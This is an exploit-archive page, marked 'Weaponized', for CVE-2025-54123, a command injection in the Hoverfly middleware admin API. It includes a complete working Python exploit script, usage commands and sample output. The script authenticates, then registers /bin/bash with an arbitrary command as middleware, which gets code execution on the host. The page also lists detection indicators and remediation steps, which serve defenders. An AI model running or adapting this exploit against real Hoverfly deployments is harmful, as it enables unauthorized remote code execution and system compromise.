PoC Archive PoC Archive
Critical CVE-2025-54123 unpatched

Hoverfly Middleware Command Injection to RCE (CVE-2025-54123)

by 0xk4rth1 · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-54123
Category
web
Affected product
SpectoLabs Hoverfly (HTTP/API service virtualization tool) — admin API, <= v1.11.3
Affected versions
Hoverfly <= v1.11.3 (per repository README)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcher0xk4rth1
CVE / AdvisoryCVE-2025-54123
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagshoverfly, command-injection, middleware, api, token-auth, rce, cwe-78, python
RelatedN/A

Affected Target

FieldValue
Software / SystemSpectoLabs Hoverfly (HTTP/API service virtualization tool) — admin API, <= v1.11.3
Versions AffectedHoverfly <= v1.11.3 (per repository README)
Language / PlatformPython 3.8+ (requests) targeting the Hoverfly REST admin API (default port 8888)
Authentication RequiredYes — either dashboard username/password credentials or an existing bearer token
Network Access RequiredYes

Summary

Hoverfly exposes a middleware configuration API (/api/v2/hoverfly/middleware) that lets an authenticated admin register an external “middleware” process to pre/post-process simulated HTTP traffic, specified as a binary (interpreter/executable) plus a script string. Hoverfly does not adequately restrict or sanitize the script/binary values before invoking them, so an authenticated user can register a middleware whose binary is /bin/bash and whose script is an arbitrary shell command; when Hoverfly processes traffic through this middleware, it executes the attacker-controlled command and returns its output (including in error responses). The PoC script authenticates to Hoverfly’s /api/token-auth endpoint (or accepts a pre-obtained bearer token), then issues an authenticated PUT to /api/v2/hoverfly/middleware with a malicious binary/script pair, extracts the command’s STDOUT from the resulting error response, and prints it — demonstrating full command execution as the Hoverfly process user.


Vulnerability Details

Root Cause

The Hoverfly middleware feature accepts a binary and script value from the authenticated admin API and directly executes them as a subprocess without validating that they correspond to an intended, sandboxed middleware script — allowing arbitrary shell commands to be injected as the “script” and run via /bin/bash as the interpreter (CWE-78: OS Command Injection). From CVE-2025-54123.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def exploit(dom, port, token, cmd):
    url = f"http://{dom}:{port}/api/v2/hoverfly/middleware"
    header = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    payload = {
        "binary": "/bin/bash",
        "script": f"{cmd}"
    }
    ex = requests.put(url, json=payload, headers=header)
    output = ex.json()["error"]
    stdout = output.split("STDOUT:\n")[1]
    print(stdout)

Hoverfly attempts to run the supplied “script” through /bin/bash as a middleware validation step, and when it fails/errors, it leaks the full STDOUT of the executed command inside the JSON error response — giving the attacker both code execution and command output retrieval in a single authenticated API call.

Attack Vector

  1. Authenticate to the Hoverfly admin API: POST /api/token-auth with a valid username/password to obtain a bearer token (or supply an already-known/leaked token directly).
  2. Send PUT /api/v2/hoverfly/middleware with Authorization: Bearer <token> and a JSON body {"binary": "/bin/bash", "script": "<attacker command>"}.
  3. Hoverfly invokes /bin/bash with the attacker’s script as middleware validation and returns an error field in the JSON response containing the process’s STDOUT.
  4. Parse the response to recover the command’s output, achieving arbitrary command execution as the Hoverfly service account.

Impact

Remote code execution as the user running the Hoverfly process, for any party holding (or able to obtain) valid Hoverfly admin credentials or a bearer token — a low bar in environments where Hoverfly is deployed with default/weak credentials or exposed admin APIs, since the “middleware” feature is legitimate functionality being abused rather than a memory-safety bug.


Environment / Lab Setup

Target:   Hoverfly <= v1.11.3, admin API reachable on TCP/8888 (default), with
          valid dashboard credentials or a leaked/obtained access token
Attacker: Python 3.8+
          pip install requests

Proof of Concept

PoC Script

See CVE-2025-54123.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
python CVE-2025-54123.py \
  --target TARGET \
  --port 8888 \
  -u admin \
  -p password \
  --cmd "id"

python CVE-2025-54123.py \
  --target TARGET \
  --port 8888 \
  --token ACCESS_TOKEN \
  --cmd "id"

Example output:

1
2
3
4
5
6
7
8
9
Approacing target : TARGET
Attempting login to http://TARGET:8888/api/token-auth
Checking Credentials....
Login Successfull!
Exploiting Command Injection...
Makesure to start your listener for gaining shell..
Injected : id
uid=1000(user) gid=1000(user)
Exploited Succesfully

Detection & Indicators of Compromise

Signs of compromise:

  • PUT /api/v2/hoverfly/middleware requests with a binary of /bin/bash, sh, python, etc. and a script value resembling a shell command rather than legitimate middleware logic
  • JSON error responses from Hoverfly containing STDOUT: sections with command output
  • Unexpected child processes spawned by the Hoverfly service (e.g. bash -c "...")
  • Repeated /api/token-auth requests from unfamiliar sources, indicating credential brute-forcing

Remediation

ActionDetail
Primary fixUpgrade Hoverfly to a patched version beyond v1.11.3 that restricts or removes arbitrary middleware binary/script execution via the admin API
Interim mitigationRestrict network access to the Hoverfly admin API (port 8888) to trusted hosts only, enforce strong unique credentials, disable the middleware feature if unused, and monitor/alert on PUT /api/v2/hoverfly/middleware calls

References


Notes

Mirrored from https://github.com/0xk4rth1/CVE-2025-54123 on 2026-07-06. The script is a functional, working PoC that authenticates to Hoverfly’s token-auth endpoint and PUTs a malicious middleware binary/script pair to achieve command injection/RCE, as confirmed by direct code review.

CVE-2025-54123.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
import requests
import argparse
import sys
from urllib.parse import urlparse
import time

def login(dom,port,username,password,cmd):
    login_url = f"http://{dom}:{port}/api/token-auth"
    print(f"Attempting login to {login_url}")
    print(f"Checking Credentials....")
    cred = {
        "username":f"{username}",
        "password":f"{password}"
    }

    r = requests.post(login_url,json=cred)

    token = r.json().get("token")
    print(f"Login Successfull!")
    exploit(dom,port,token,cmd)
    return True

def exploit(dom,port,token,cmd):
    
    print(f"Exploiting Command Injection...")
    print("Makesure to start your listener for gaining shell..")
    print(f"Injected : {cmd}")
    time.sleep(3)
    url = f"http://{dom}:{port}/api/v2/hoverfly/middleware"

    header = {
       "Authorization": f"Bearer {token}",
       "Content-Type": "application/json"
    }
    
    payload = {
        "binary":"/bin/bash",
        "script":f"{cmd}"
    }
    try:
        ex = requests.put(url,json=payload,headers=header)
        output = ex.json()["error"]
        stdout = output.split("STDOUT:\n")[1]
        print(stdout)
        print("Exploited Succesfully")
    except: 
        print(f"Exploit Failed!!")
    sys.exit()
    

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-54123 - Hoverfly <= v1.11.3 Command Injection to RCE Exploit Tool")

    parser.add_argument("--target", type=str,required=True, help="Enter the target domain or ip")
    parser.add_argument("--port", type=str, default="8888",required=True, help="Enter target port")
    parser.add_argument("-u", type=str, help="Enter Hoverfly dashboard username ")
    parser.add_argument("-p", type=str, help="Enter Hoverfly dashboard password")
    parser.add_argument("--token", type=str, help="You can provide direct access token here")
    parser.add_argument("--cmd", type=str,required=True, help="Enter custom payload to execute commands. Ex: id")
    args = parser.parse_args()

    host = args.target.strip()

    if not host.startswith(('http://', 'https://')):
        if '://' in host:
            print("Error: Unsupported URL protocol.", file=sys.stderr)
            sys.exit(1)
        host = 'https://' + host

    try:
        dom = urlparse(host).hostname
        
        if not dom:
            print("Error: Could not extract a valid domain or IP.", file=sys.stderr)
            sys.exit(1)
            
        print(f"Approacing target : {dom}")
        
    except Exception as e:
        print(f"Parsing error: {e}", file=sys.stderr)
        sys.exit(1)
    port = args.port
    username = args.u
    password = args.p
    cmd = args.cmd
    token = args.token
    
    if token:
       try:
           exploit(dom, port, token, cmd)
           sys.exit(1)
       except: 
           print("Invalid token, try using credentials..")
    elif username and password:
        auth = login(dom, port, username, password, cmd)
        if not auth:
            print("Authentication Failed!", file=sys.stderr)
            sys.exit(1)
    else:
        print("Error: You must provide either a --token or login credentials.", file=sys.stderr)
        sys.exit(1)
    

if __name__ == "__main__":
    main()